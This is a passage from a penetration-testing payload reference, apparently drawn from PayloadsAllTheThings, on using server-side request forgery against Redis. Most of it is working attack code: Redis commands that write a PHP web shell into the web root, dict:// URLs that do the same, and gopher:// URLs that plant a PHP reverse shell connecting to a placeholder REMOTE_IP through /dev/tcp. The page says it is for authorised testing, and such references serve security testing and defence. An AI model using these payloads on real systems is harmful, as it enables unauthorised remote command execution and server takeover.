Server Side Request Forgery · passage 32 of 53

SSRF-Advanced-Exploitation: Redis

1 code block · Server Side Request Forgery/SSRF-Advanced-Exploitation.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

> Redis is a database system that stores everything in RAM The attacker changes Redis's dump directory to the web server's document root (`/var/www/html`) and renames the dump file to `file.php`, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (`mykey`) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the `SAVE` command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at `/var/www/html/file.php`.

CONFIG SET dir /var/www/html
CONFIG SET dbfilename file.php
SET mykey "<?php system($_GET[0])?>"
SAVE

* Getting a webshell with `dict://` ```powershell dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>" dict://127.0.0.1:6379/SAVE ``` * Getting a PHP reverse shell with `gopher://` ```powershell gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22 gopher://127.0.0.1:6379/_save ```

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.